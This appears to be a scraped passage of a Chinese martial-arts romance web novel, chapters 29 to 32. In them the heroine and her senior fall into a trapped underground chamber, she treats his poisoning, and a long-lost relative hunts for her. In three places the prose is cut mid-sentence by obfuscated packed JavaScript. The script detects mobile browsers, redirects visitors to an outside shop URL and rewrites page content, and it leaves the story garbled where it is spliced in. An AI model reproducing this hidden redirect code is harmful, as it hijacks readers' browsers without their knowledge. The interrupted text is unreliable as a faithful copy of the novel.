小九的机械音仍是响了起来:【有新的提示:救死扶伤,生命值加0.1%。】 庄子的黑色大门开着,此处血腥味更浓,几乎没有活口留下。看到满地的尸首,晏曜忍不住捂紧了嘴巴。晏璇亦是眉头深皱,虽然她自己死了很多次,可是看到别人死在眼前,还是如此惨烈模样,也是人生首次。 师兄会不会也……晏璇想到此,心脏猛得跳了一下。 “晏曜,一会我可能顾不上你,你自己保护好自己。” “我会的,小姐。” 晏璇沉着脸,向院子深处的明月阁奔去,呼吸进的每一口气都灼痛着气管。她没有哪个时刻像现在这般嫌弃自己的体能。 不远不近,晏璇听到了些许人声,那便说明有人活着! 她咬了咬牙冲着那处赶去,在庄内东侧,隔着几块假山石,晏璇看到了人影。她调整呼吸,放缓脚步,借着各种屏障,慢慢靠近那间屋子。 “殷数,你屠杀我庄内护卫,欺人太甚!”杜若的声音冷冽如刀。 真的是殷数…… 晏璇小心探头,想要找寻孟珎的身影。忽的,一点亮光闪动,晏璇下意识偏头,一根银针堪堪擦过她耳际钉入身后柱子上。 惊魂未定,头顶暗影倾泻,伴随着晏曜的一声惊呼,晏璇被人抓小动物般扭住了双手提在半空。 晏璇:“……”有武功了不起! “葫芦女……”耳边传来一道低哑男声。 晏璇动弹不得,转头欲咬,用黑布蒙着的半张脸映入眼帘,一双古井无波死寂的眼睛正盯着她看。 “你……杀了时天辰和里面的……大夫?”晏璇哑了嗓子,仔细听才能辨得其中一丝颤意。 殷数又盯了她两眼,带着她飞身而起踏过房柱,他落在窗沿上,甩手将她扔进了屋内。 “唔啊……”晏璇扑倒在地,双膝重重磕在地板上,霎时疼到了骨子里。 “师妹!” 熟悉的声音传来,晏璇惊喜抬头,见孟珎一脸震惊地向她俯下身来。 “师兄……你没事。”晏璇咬牙道。 “我没事,你怎么样?” 奔跑加磕伤,晏璇泄了气一时无力,孟珎将她小心抱起,放到一旁的太师椅上靠坐着。 “还好,就是膝盖有点疼。” 晏璇不是一个轻易说疼的人,孟珎的心瞬间揪在了一处。 他蹲下身,扶着她的小腿小心按揉,疑惑道:“你怎么会在——” “杜管事!”孟珎猛得转头,看向一旁的布袍男人,神色间晦暗不明,“是你,将她带来的?” 晏璇一愣,瞥向杜若,这家伙竟是骗她的。 杜若的嘴唇蠕动了下,他既没承认也未反驳。 “阿若,你又擅自做决定了。”有人叹道。 晏璇循声望去,才发现屋内的榻上还半躺着一个人,他的身量颀长,长相清俊,面色稍显苍白虚弱,应该就是时天辰本人了。 “都说完了。我的问题,回答。” 伴随着瓷瓶的碎裂声,男人沙哑至极的声音响起。 晏璇:“……” 一时忘了还有个杀人狂魔在边上蹲着。 29. 第 29 章 屋内各通风处垂挂着竹帘以避暑气,光线暗淡。殷数一身黑斗篷站在角落,似要与黑暗融为一体,像个蛰伏在暗处随时发起攻击的狩猎者。 杜若手持一柄短剑护在时天辰身侧,横眉怒目,观他起手架势,也是个练家子。 书生会点武怎么了,金鹄不安排个武林高手在时天辰身边才奇怪。 几人剑拔弩张,一触即发,与晏璇无半点关系。孟珎也冷眼旁观,他敛起方才的怒意,一心给晏璇查验伤势,此时凑近了又发现她露出肌肤上未褪去的红疹。 “脸上……”他的手停在她脸侧,顿了一瞬才轻抬着她的下巴左右看了看,“是瘾疹?又不小心吃鱼了?” 哪里是又,她都好久没犯病了。 晏璇的视线从地上那几块玉石碎片上收回,刚刚殷数砸烂的可不是普通瓷瓶,而是一个青玉花觚,不知值了几钱。她随意往屋内一扫,挂着的摆着的无不都是价值不菲的东西。心痛!为没有钱的自己心痛! 她向着孟珎叹道:“我也没想到,好好的一盘炸排骨就变成了炸鱼块。要是黄芪和苦参掺在一起,我还能分出个一二。” 孟珎眼底闪过些许笑意,到底是心疼她,他取过榻边的针包:“还难受吗?我给你扎几针。” “不用,我吃过药了。”晏璇往他身后方向努了努嘴,低声道,“师兄,到底怎么回事?我差点以为你……” “莫插手他人恩怨。”孟珎仍是牵过她的手,快狠准地在她手背上扎了一针。 晏璇端详了一下他的神色,弯下腰歪头看他:“师兄?你……是不是生气我被那个杜若骗了?” 他的手一顿,抬起脸见晏璇无辜地对他眨着眼,终是微恼着伸手弹了一下她的脑门。 “我没生气。” 师妹会来定是以为是自己的吩咐,她念着他才会轻易信了别人。他是叹自己做事不够细致,每次都做得不够好。 晏璇摸着额头,嘟囔:“你怎么也学梅玉彦,哪一天我真的变笨了。” 孟珎:“……” 那个梅公子玉树临风,雅致风趣,师妹与他一同长大分外要好,此次若不是横生意外,她是不是就跟师父所说那般好事将近…… 孟珎瞬间觉得胸口窒闷,他又在奢求什么不该的,真是贪得无厌啊。 “师妹,抱歉,师兄下次不会了。”他扯起嘴角,歉然道。 “也、也不用道歉的。”晏璇微愣,觉得孟珎的情绪有些奇怪。 旁边,突然传来杜若的高声喝问。 “为何要杀害明月阁的人?” “他们来杀我,我便杀之。” “好一个丧心病狂之徒。他们的职责是护卫,拦住你这个不速之客是天经地义。” 玉石珠帘叮当作响,殷数甩起斗篷一角,一道冷如冰的劲气直将圆桌旁的木凳掀翻,他低哑的声音藏着不耐:“杀便杀了。” 时天辰捂着胸口,气弱道:“当日我的确见你出现在钱庄外。” 殷数睨他一眼:“不曾去过。你的毒,与我无关。” “那你硬闯上门为哪般?不是来杀人灭口的?”杜若咄咄逼人。 殷数冷哼:“灭口,你们早已是尸体。” 双方对峙一番,对话毫无进展。杜若似被院外的尸首刺激,一改镇定模样,认定对方是穷凶极恶之徒,毕竟谁看了血腥场面都很难相信殷数的话。而殷数此人,晏璇皱了皱眉,他似乎不善辩驳,承认亦或否认,只管几个字打发了,不知是目中无人还是性情如此。 “你们,真的很麻烦。”殷数话落,身形微动如一团黑雾向晏璇他们这个方向飘来。 晏璇:“?” 霎时,孟珎单脚撤步,双手起势凝气打出一掌,仿若以晏璇为中心向外迸发出一道弧光。 “孟先生?!”时天辰一声惊呼,杜若脸色几多变化。 殷数站定,挥手直接接下,两人掌力不分上下,强烈劲风震得彼此衣袂飞扬,一黑一白两道身影犹如置于八卦阴阳图中。 为什么他们两个会突然打起来?晏璇简直一头雾水,最后她归结于殷数杀气太重,二话不说总喜欢先动手,谁知道他的脑壳里在想些什么。仅仅两次照面,就让她觉得此人仇人甚多不是平白无故的。 晏璇握住木椅扶手站起:“都先住手!” 两人恍若未闻,冷眼相对。 殷数这人莽怪也便罢了,师兄作何也……晏璇捏了下腰间百宝袋,要不要此时出手偷袭?可她又担心会波及孟珎,高手过招,一时不慎伤了肺腑是常有的事。 没等晏璇下决定,一旁的杜若已然准备动作。他持剑靠近殷数背后,只待一剑刺出。 变数发生只在刹那,珠帘断裂,玉珠滚地,一条褐色长鞭犹如黑蛇吐信,如影随形直向杜若挥来。 只听得嘶嘶声响,一个玄色身影跃入房内,舞动着长鞭缠住了杜若的短剑。两人缠斗一处,鞭影剑痕铿锵相击,桌凳柜椅惨遭毒手,碎屑四散。 晏璇抬袖挡住飞溅而来的不明碎片,余光中瞥见杜若拧了一下某个灯座,她立时感到身体一阵摇晃。 起初她以为是自己一时腿软,低头发现所站前方地面裂开了一条缝隙,而孟珎和殷数正处于缝隙中央。 “师兄,小心陷阱!” 晏璇只来得及一声大喊,那缝隙瞬时变成三尺宽的暗门,她脚下踩中玉珠,不慎滑倒,整个人直接落空摔下陷阱。 【宿主!】 “啊!”晏璇惊叫一声,没了身影。 “晏姑娘!” “师妹!!” 孟珎猛得推开殷数,硬生生收回掌力,真气乱窜脏腑剧痛,他的口中溢出鲜血。可孟珎什么都顾不了了,他追着那条即将合拢的地道口,纵身而往。 殷数捂着胸口倒退数步,靠在了一侧墙壁上。他轻咳两声,脸上黑色布巾被洇湿一角。玄衣女子落在他身侧,皱眉道:“你怎么样?” 殷数缓缓摇了摇头,那双冷漠无比的眼正冷冷盯着屋内主仆二人。 暗门消失,地板又恢复如初。 杜若不觉后退一步,满脸不可置信,庄内护卫尽数丧生,他该如何保护少主。 时天辰只闭上了眼,仿佛认命般微微叹息。 弄巧成拙,害人终害己。 孟珎已全力使出凌云纵,奈何暗室伸手不见五指,加之暗道不高不低的落差,他听到了一声几乎令他肝胆欲裂的闷哼。 “师妹!” “晏璇!” “你在哪里? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13603456|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答我。” 晏璇下坠中听到了孟珎的声音,但她知道不一定能等到救援,所以尽量放松身体,以屈膝姿态着地。如此,她仍旧听到了骨头的咔哒声,小命是保住了,这双腿不养个把月估计是好不了了。 姓杜的,等着吧,她不会放过他的。 小九“呜呜”两声:【宿主,我差点就见不到你,任务失败了。】 晏璇恨声:【你是怕见不到我,还是怕任务失败?】 小九:【一样的,没有区别。】 这么多年了,晏璇又忍不住怼它:【好歹算个金手指,不能多升级几个功能吗?】 小九:【……】 它停在晏璇的面前,努力散发着萤光。算了,它最有用的地方就在这了。晏璇得以看清了孟珎的身影,他满目慌张,嘴角渗血,一脸茫然。在黑暗中,他似乎总有着异样的恐惧。晏璇想起了当年在云边小镇的地窖里,他不知为何害怕到痉挛,时隔多年,又是相似的场景。 孟珎紧握了下拳,循着她的气息向她靠拢。比起那时,他已经努力克服了。 晏璇双手撑在地上,碰到了腰间银铃,叮咚声起。 “师妹!”孟珎面上一松,仿佛此刻才回了神。 福至心灵般,晏璇似乎要猜到孟珎一直戴着这个铃铛的原因。 “师兄,我在这……” 身上到处在痛,她的嘴里像漏了风,只能咬牙喊人:“等我点个火。” 今日去买情报消息的时候发现没带火折子,晏璇庆幸自己来的时候特意备上了。 燃起的火苗照亮了地下暗室一角,此处是一个斗室般大小的地方,往前望去,晦暗之中似有通道,四周都是凿的石壁,有一侧壁上悬挂着一盏清油灯。 孟珎蹲下身,几乎颤着手握住了她的双肩:“可是伤到哪里?” “我的腿好像动不了了。”晏璇尽量平静道。 孟珎深吸一口气,迫使自己冷静:“别担心,我先帮你看看。” 他顺着晏璇的膝盖往下按,听到晏璇不断的吸气声。 “有点痛,忍一忍。” “嗯。” 仔细检查过后,孟珎安慰道:“左小腿有些骨折,没事的,会治好的,不要害怕。” 他连着说了两遍,不只是告诉她让她安心,同时也是在对自己说。 晏璇握住了他的手,微光中,她看到孟珎的双眼升起潮湿雾气,身上的痛似乎也没那么难受了。 “师兄,我不害怕,我们快些离开这个地方吧。” “好。” 晏璇试着喊了时天辰他们的名字,头顶上方一点回应没有。孟珎飞身而上,探查过后,发现此处用的是千斤木封顶,刀枪难入,外头的人几乎无可能听到暗室的动静。 晏璇在心里默默啐了一口。 孟珎提过油灯点燃,对她安抚笑笑:“别担心,师兄会带你出去的。” 他的目光太过温柔,晏璇叹息着伸手揩去他嘴角血迹:“我们两个倒霉蛋。” 孟珎身体微僵,背过身对着她。 “师兄?” 他用手背抵住唇角,被她指腹擦过的地方,微微发烫。 “我……背你走。” “哦,好。” 30. 第 30 章 遥远西北的泑山雪域有一司姓族群,他们世代居于此,擅长巫蛊之术被中原正道所忌惮。传闻他们的祖辈在乱世群雄崛起的时代得到了一块玉璜,原乃某王族所持有,上刻有特殊纹样藏有一副秘图,若有人得此物破解藏宝图可得无数珍宝和秘药。 然而传闻始终是传闻,雪域一族又一直遵守祖训鲜少离开泑山,玉璜的真相无人知晓,直到司玥和司珩下山历练。 当司瑾和司蕲找到司珩时,他已经在丰州附近独自徘徊三四个月,少年蓬头垢面身负内伤,状似疯癫,没人能想到他往日意气风发的模样。 他跪在司瑾面前,含泪凝噎:“父亲,对不起……” 若非他年少气盛,非要在中原武林世家面前显威风,司玥也不会被连累遇害。 他们一个外族,无法在别人的地盘讨回公道,只能隐秘寻人,哪怕是找回尸身,然毫无所获。 唯一的女儿没了,司瑾心痛难忍,他闭了闭眼,只撇过头道:“你爹很担心你,先回泑山吧。” “不!”司珩膝行两步,抓住司瑾衣袍下摆,双眼红似血,“父亲,你骂我打我都可以,让我留下,我一定会找到姐姐的。” 司瑾不为所动,强硬道:“回去!你还想让你母亲失去你这个儿子?” 眼泪顺着司珩憔悴的脸庞不断下落,这些日子以来,他不敢松懈半刻,脑内一直绷着一根弦。没有找到姐姐,他没资格流半滴眼泪。可此时面对父亲不算指责的话,他太难受了,心头仿佛被一柄锋利的小刀来回刮刺,鲜血淋漓,因为父亲不再信任他。 “都说司家的玉璜是宝物,它一定会保佑姐姐的。” 司珩伏身,对着司瑾叩了三个响头:“恕儿子不孝,请父亲照顾好母亲和……阿爹。” 他知道父亲定恨死了阿爹和自己,他愿赎罪,他一定要找到司玥,不管是为了谁。忍着身上和心上的剧痛,少年决然告别了亲人,孤身一人走过大川小河乡野城镇,十多年再未回泑山一次。 司珩,也就是今日的同珩,他狠狠搓了一把自己的脸颊,不断深呼吸着,心中有个自己在对他呐喊,阿姐没有死!不对,阿姐重新回来了!司家的玉璜没有所谓的藏宝图,但族内一直流传它有着神秘的力量,是历代族长佩戴之物,阿姐是下任族长继承人,一定是它送回了阿姐! 她们长得像,偶尔的小动作一致,她们一吃鱼就起疹子,晏璇的年纪正是阿姐消失的时间,天下没有这样的巧合! 司珩激动得嘴唇都哆嗦起来,他已经默默观察了晏璇一路,常忍不住想要上去搭话,想要一直看着那张脸,想要她竖起眉毛骂骂自己。他既怕自己吓到对方又时常泛起贪心,当晏璇拿针刺他时,他只想起当年和阿姐切磋武艺的时候,而小姑娘是因为怨着他,把他当成了不负责的庸医。司珩如梦般叹息,那时他在晏家做短暂停留,突然得到了阿姐相关消息才骤然离开,如果他早发现……早一点有所察觉,他万不会白白错失了这十几年光影。 司珩觉得自己老去的身心都活了过来,他得给蕲叔寄一封信。等他和晏璇打好关系正式相认,他再把这个好消息告诉父亲母亲。 循着残存的迷蝶香,他一路追到城郊外,看到一辆马车被随意停在路旁,车内无人却混乱一片。他皱了下眉,竹林深处飘来一股血腥味,他疾走几步便看到几具尸体。昔日噩梦般的景象在脑海翻腾,司珩的身体微晃,戾气徒增,在发现还有活口时,一把掐住了对方的脖颈厉问:“晏璇在哪里?” 护卫毒伤未清,眼前只有一个模糊身影,他咬牙道:“不知道,少主他……” 少主?金鹄的宝贝儿子?司珩放开他,向着血腥味最浓的地方追去,明月阁院门大开,无人阻拦,竟有人速杀金雀山庄的护卫队,是仇杀还是?晏璇来这,定是为了她那个师兄,两人均不会武,岂不是凶多吉少…… 司珩进了院内立即飞身上一座凉亭,举目远望,在山石后总算见到一个熟悉的身影。 他几个腾跃,落在那人身后,轻拍了下他的肩,小声急问:“小鬼,是我,小晏在哪里?” 晏曜正担心晏璇,心急如焚,身边忽的传来那个怪大叔的声音。他转头去看,见大叔肃着脸满目焦急,忙指了指前头的屋子:“小姐她,被一个黑衣人抓了进去就没出来。” 司珩的手放在他头上往下按了按:“我知道了,你自己躲好,躲远一点。” 他想了想,从衣襟内找出一块布巾往脸上一遮,收敛气息向房门靠近,屋内大约有四五人在。他侧身贴着门边,从微敞的门缝里望去,三男一女,却是没有晏璇和她的师兄。小鬼说晏璇进去后就没出来,是出了什么意外? 就在司珩准备破门而入时,从房梁上翻下一人,动作灵活轻巧,此人蒙着脸,身着紧袖劲装。 是他?那个一直跟在晏璇后头的人。司珩注意到他还是在十里坡的客栈,一路行来发现他只是远远跟着,没有其他动作,心中猜想或是晏家派来的,也没有提醒晏璇。此刻,司珩却是拿不准了。 只见那人几步走到一座铜制灯台前,转动了其中一个烛台,他望着前方地面愣了瞬,转头向着白布袍书生打扮的男子道:“出口在哪?” 不成想这人声音清脆,竟是个女子。 杜若防备着殷数和他身旁的女人,一时未语,反问道:“你又是谁?” 蒙面女子不耐烦地“啧”了声:“都杀到跟前了,还藏什么秘密。你们便是这么对待救命恩人的?” 说着,她向殷数瞥去一眼,莫问楼有令,她不能与对方贸然动手,可现在这人受了伤,正是她可以为大哥报仇的时候。姜魅察觉到女子似有若无的杀气,侧头对殷数道:“他们不好对付,金雀山庄的人怕是马上赶到,师父的事再说。” 殷数裹了下斗篷,两眼沉沉,盯着时天辰道:“你的毒,去问葫芦女和那个男的。” 葫芦女?时天辰一怔,一时没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13651141|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来他说的是谁。 院外隐约传来人声,殷数和姜魅纵身跃出窗外,瞬间逃之夭夭。 司珩急着找晏璇下落,当即推门而入,杜若以为救兵已至,不想抬头又见蒙面的陌生人影,想他堂堂明月阁便是这般任人闯入,任人欺负。 他额上青筋微凸,咬牙道:“阁下又是谁?” “晏璇在哪?”司珩当机立断。 女子听出了司珩的声音,忙道:“他们掉进了底下的密室。” 所以,刚才她在找入口?司珩飞快看了她一眼,不再问杜若,转而问旁边的素袍公子:“还不带我们去救人,少庄主?” 时天辰正羞愧难当,指了窗外池塘边的假山石道:“快,就在第三块石头那,挪动就能看到出口。” 两道身影向着窗外掠去,时天辰不甚放心,在背后喊道:“请问二位是晏姑娘的什么人?” 司珩与女子对望一眼,未答。 此时,一身高腿长着青色袍子的男人领着众多护卫涌进院内,他们三人一组,很快训练有素地收拾起明月阁内的残局。 男人进了屋子,抱拳上前怆然道:“少主,属下来迟!” 时天辰疲惫地挥了下手:“明嘉,好生安排了……那些护卫们的后事。” “属下明白。”邱明嘉望了眼一旁面如死灰的杜若,心中无言叹息,这人最重兄弟情谊,此次怕是要自责许久。 杜若:“少主,我去看看晏姑娘和孟先生。”说完,他踏出了房门。 “晏姑娘?”邱明嘉疑道。 “孟先生的师妹晏璇,晏姑娘。” “晏璇?少主,她可也会医术?” 时天辰有些气虚,坐在榻上愣愣道:“既是孟先生师妹,该是会些医术的吧。明嘉,何有此问?” “先前少主中毒,阆苑山庄坐视不理,靠的是品贤阁送来的丹药,那些丹药是药师玄所炼。” 时天辰点点头:“是,若非你让阁中及时送药,父亲也来不及找到孟先生。” 邱明嘉轻摇了下头:“少主,即使我不担任阁主之位,也会为你寻药。我想说的是,阁里传来消息,药师玄可能是一名女子,而此女子名字就叫晏璇。之前阁里的人未在意此炼药师,每次送药又都另有其人,无人知晓她的模样,所以生出了诸多误会。” “晏姑娘就是药师玄?”时天辰颇为震惊,那样娇小的女孩子竟是江湖上有名的药师。 一时间,方才殷数的话,那名蒙面女子的话,时天辰才反应过来品出了些其他的意思。 邱明嘉:“当初那名药师上报名字,只说了一个璇字,而阁中人疏忽才记成了玄黄的玄。” 时天辰轻锤了下榻边,阿若擅自把人接来定也看出了些不简单的,若真如明嘉所言,孟先生又那么在意她,对方生出半点意外他都不好处理此事。 “明嘉,快,快去阿若那,一定要把晏姑娘和孟先生安全接来!” 31. 第 31 章 昏暗潮湿的密道内,步履声咚咚,偶尔夹杂着不明的滴答声,就连两人的呼吸声在这方狭小空间都被放大许多。 晏璇趴在孟珎肩头,手环过他的脖子提着清油灯,烛光幽幽,驱散了石室里的一丝阴寒。 孟珎觉察到背上的人时不时动一下,似乎很难耐的样子,遂偏头问她:“是不是腿太疼了?” “没有。”晏璇稍稍直起背,把灯往上提了提,视野也跟着往上移,“师兄,我在想他们费大力气挖了一个这样的地方,应该会藏点什么吧?话本子里头不是都有写落难侠士偶得机缘,说不定我们也能翻出些什么宝贝。” “宝贝……大约没有,小耗子有两只。” “什么?” 只听吱吱吱的响动声,一团不明物体贴着角落飞速窜过,寒意也跟着窜上晏璇的后背,她的手不经意一抖,油灯猛得晃荡,烛火忽明忽暗。 “师兄你……” 她以为孟珎在说笑,谁知真跑出来两只老鼠。她害怕的东西不多,这小东西就是一样,虽然不会如花奕怕蛇那般不能动弹,但总觉得身上某处有些不得劲。晏璇在心里默念起解表药方,沉默的时间有点长。 圈着他的双手不自觉搂紧了些,孟珎后知后觉又觉意外,忙道:“对不起,吓到你了。” 晏璇把头缩回到孟珎肩上,小声问:“师兄没有什么害怕的东西吗?” “害怕……也是有的。”孟珎将晏璇的身体往上托了托,脚步沉稳地向前走去。 “那是什么?” 或许她可以知道孟珎怕黑的原因,晏璇有些好奇地反问。 “师妹。” 孟珎垂了眼帘,偏过脸对着她。 “嗯?”晏璇头侧靠在他肩上,两人呼吸相闻,“怎么了,师兄?” “你……很缺钱?” “……” 这话问得扎心,晏璇咬牙尴尬一笑:“缺……” 怎么不缺呢,搓药攒的那点全让天机楼赚了去。 “我腰间有一个荷包,你看能不能够到?”孟珎用眼神示意了下他的左腰处。 晏璇疑惑看他两眼,腾出手摸索了一下,真找到一个荷包,颜色在暗室里看不真切,样式却不像师兄平日里会戴的。 “那日在宝石斋,掌柜退还多收的钱,我一时忘了给你。” “还有这样的事?”晏璇拉开抽绳看了看,惊讶道,“竟有这么多……” 本来那荷包拿在手里就沉甸甸的,不想里头还塞了一张票子。 “是那人主动给的,还是师兄发现了端倪要回来的?”孟珎从小当家,市井里的这些买卖比她有经验,会发现点什么也是自然。 孟珎顿了顿道:“那人主动归还的。” “是吗?” 进了自己口袋的钱再拿出来总不会容易的,晏璇想了想道:“或许是因为同前辈在场。” 同前辈……孟珎知她只是很平常地提起那个人,却觉得这声称呼莫名亲近。 “师妹,同珩他……” “对了,师兄,同前辈是因为我长得像他一个已故的亲人才会举止有异。” 晏璇与孟珎简单说了和同珩的谈话内容,期间还提到了收留晏曜的事。 孟珎缓步走着,默默听她讲述,说到晏曜可怜又懂事,说到同珩不似作假的彻骨悲伤,他的心绪如同眼前的这盏油灯左右起伏。他一直知道师妹的好,率真善良,体恤入微,有着难能可贵的同理心。自她下山,他才知自己独享了多年温柔后而变得面目可憎,心中尽是些贪心妄念。他既希望她自由快活想什么做什么,又怕太多人知晓她的好,吸引越来越多的目光。他与晏璇之间,表面上是他在事事为她考虑,可那些都只是他借了师兄身份唯一能做,唯一能维持住彼此联系的手段。离不开对方的永远是他,晏璇离了他不会有事,只会过得更好。 一如眼下,如果不是因为他,师妹不会有如此糟糕的境遇。 心口躁动好痛苦,全身似有针刺般难受,想到晏璇该拥有的美好,他竟心胸狭隘至此? 孟珎踉跄着走了两步,托着晏璇的手始终没有松懈。 晏璇猛得跟着晃了一下,她抓握住孟珎的肩膀稳住,忙道:“师兄,怎么了?” 她将油灯提远些,怕孟珎是不是不小心踩到了什么。然而偏过头,却见孟珎双眼紧闭,额上沁出豆大的汗珠,他的双颊透着异样的红。 “师兄?孟珎?” 晏璇喊了几声都未能将他唤醒,他的身子摇摇欲坠,晏璇也跟着左摇右晃。她迅速伸出两指贴在他颈侧脉上,脉象紊乱时快时慢。 这是中毒的迹象! 这一路走来,他们并未触碰奇怪的东西,密道里空气虽稀薄了些,却也无异常。 晏璇皱眉看着孟珎的侧脸,余光中瞥见手里提着的油灯,灯芯发出噗呲声响,一缕淡到无影的轻烟飘起。 “这灯有古怪!” 晏璇一口气吹灭,将灯盏远远扔出,地道内重新变得暗黑无比,只有铜灯砸在墙上的哐当回声。 【小九!】晏璇呼喊道。 【来了,宿主!】小九一下窜出,萤光乍现,它停在晏璇他们头顶处打光。 好个夺命书生!她就不能信杜若那帮人,在这样需要光照的地方,突兀地留了一盏灯,想得深的都该知道有问题,然而她本身有抗毒能力忽略了异常,那灯芯又经过特制竟是在中段暗藏玄机,她就是有两个脑袋也不会想到。 孟珎快进入半昏迷状态,嘴里呓语着什么。晏璇不知他靠什么坚持着没有将她甩下地,她轻拍着他的背:“师兄,你中毒了,我们先慢慢坐下来,我给你解毒。” “师、妹……” 孟珎咕哝了一句,晏璇几乎听不清他说的什么,可他仍撑着走到一旁石壁才慢慢松开托着她的手,几乎同时他的双腿一软,他咬着牙将晏璇往墙边推,自己直挺挺向前跪去。晏璇得以靠右腿勉力站住,眼睁睁看着孟珎歪倒在地。 “师兄!” 虽然做了紧急处理,可她的左腿现在跟废了没两样,晏璇疼得抽气,她取了两根银针直接扎在小腿上,然后一点点挪动到孟珎身边。 蹲下又是一番艰难操作,晏璇一鼓作气直挺挺坐好,才小心将孟珎的头搁在自己的大腿上。 他面上苍白,呼吸急促,额上新添了一小块红色擦伤,是刚才落地时磕到的。 “呆子,你管你自己好了,都神志不清了还管自己背上的人!” 晏璇低骂一句,从袖口里取出帕子替他擦了擦脸,碰到伤处还是放轻了动作。 她从百宝袋里找出药膏,边抹边嘀咕:“本来就破相了,现在脸上再来一道,以后哪个姑娘敢要你,丑死了!” 小九吓得不敢动:【宿主,你医术那么好,他不会有事的,你别哭。】 晏璇抬头瞪它:【我哭了吗?啊,我哭个屁!】 小九喏喏:【嗯,哦,我看错了,是宿主炯炯有神的双眼令我眼花。】 晏璇:【……】 她轻吸了下鼻头,心中一时感慨,师父让他保护自己,他就每次都冲在前头,真当自己铜墙铁壁?她才不会对着孟珎流眼泪,要流也得在他清醒的时候,心疼死他,懊悔死他! 晏璇把了一下孟珎的脉,他受了很重的内伤,此外便是一种类中毒的症状,灯芯里混着某种迷香,她自己吸入了没什么感觉,孟珎从方才起便迷迷糊糊的,晏璇一直在用帕子给他擦汗。 “师兄?” “阿爹,阿娘……” “你说什么?”晏璇低头凑近他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“孟珎!”晏璇的帕子给他擦唇边血迹,一下都染成了红色。 孟珎半睁了眼,似醒非醒望着她:“阿璇……” “别阿璇了,你都快死了!”晏璇拿针替他护住心脉,眸中水光颤动,“我的医术那么烂,你真的会死的。” “我……一直很想你,不要走,阿璇……”说着,他闭上了眼,胸口的起伏都弱了。 晏璇又是一针扎在他心口,恨道:“你清醒的时候怎么不说想我,你这个胆小鬼!你要是敢这么睡过去,我做鬼也不会放过你的。” 小九什么话都不敢搭,它还记得宿主做鬼也不会放过它…… 晏璇一口咬在指头上,好他大爷的痛!这些痛她之后会一一讨回,现下,她看着自己冒血珠的指头,希望一切有用。 她伸手将破口的指腹抵在孟珎唇上,用力推开他的牙关,挤进了他的口腔内。 温热的舌头刮过的指头,晏璇的背一僵。 她一边挤着手指,一边叹道:“师兄,快点醒过来吧,我不走。” “阿璇……”他呢喃着,眼睫微颤,吸吮着,小心舔舐过那道伤口,一遍又一遍。 晏璇抬手捂住了自己的口鼻,背后涌起一股莫名麻意,她撇开脸不再低头看他,眼眸湿漉漉的似水洗般。 暗道深处出来吧嗒重响。 “小晏!” “晏姑娘!” 模糊的人声回荡在地底。 晏璇转了脸重新对着孟珎。 “等会醒了,看你怎么办吧!” 32. 第 32 章 脚步声和人声越来越近,地道内轰隆隆一片。 孟珎的呼吸平稳了许多,他嘴唇微张,睫毛颤动似要苏醒。晏璇小心将他的头挪开,低头看看自己的衣裳,随意扯了扯,手上的血渍蹭的身上到处都是。很狼狈很好,她点点头,侧着身躺下,一副中毒不浅的样子。 凌乱的脚步声逼近,晏璇透过眼皮能感到明显的光亮,焰火熏得密室热气升腾。 “阿、晏,小晏!” 是同珩的声音,他怎么找来的?晏璇没想到第一个赶来的竟会是他。 一只粗糙满是厚茧的手拍了拍她的脸,来人又用手背探了探她的额头,急促的呼吸喷洒在她耳侧。 “她怎么样?”一个陌生的女声,晏璇听不出是谁的声音。 她微皱了下眉,似被唤醒般动了动身子。强烈的光线刺得她眯了下眼,同珩半遮着面,目露焦急,在她身上逡巡。旁边是另一个遮面盘着头发的身影,她的眉目犀利,暗含英气,眼珠滴溜溜地盯着她,该是刚才出声的女子。 “小晏,你有没有怎么样?”同珩半扶起她,焦急得不成样子,好似她是什么重要的人,然而他们才认识不过几天。 那个和她相貌相似的人一定对同珩意义重大,晏璇先前对他的芥蒂不觉消散了,心头竟有些柔软,什么狡猾的老江湖,他分明就像是另一个性格迥然的林叔,有些不羁有些笨拙的长辈。 “同叔。” 晏璇轻应一声,也算是回应了他对她称呼上的转变。 “同叔……”司珩有些恍惚,喃喃了一句。 “快给晏姑娘服下此药。”杜若递过来一个药瓶。 司珩惊醒,接过药瓶,打开瓶口闻了闻,取出一颗药给晏璇服下。大概是清除幻香的解药,晏璇尝到了一股莲子的涩味。 孟珎被杜若扶着喂了一颗,他抿了下唇,嘴里是浓烈的腥甜味道。在半梦半醒间,耳边是师妹气恼的声音,他心中焦急却不知该怎么办,唯恐她受了委屈,唯恐她就要离去。随后,有什么温热抵住了他的唇,他无意识地含了一口,之后像是无法自拔般汲取着那股香甜可口的热意。孟珎猛得坐起,心口狂跳,双耳通红,他环顾四周喊着晏璇的名字。 “晏姑娘无事。”杜若道。 无事个屁,她的腿都快疼得没知觉了。晏璇在他们身后,垂着头白了他一眼。 “大伙儿先出了密道再说。”另一个陌生的男声响起。 晏璇撇过头,见是个窄袍束袖,长发半披的伟岸男子。 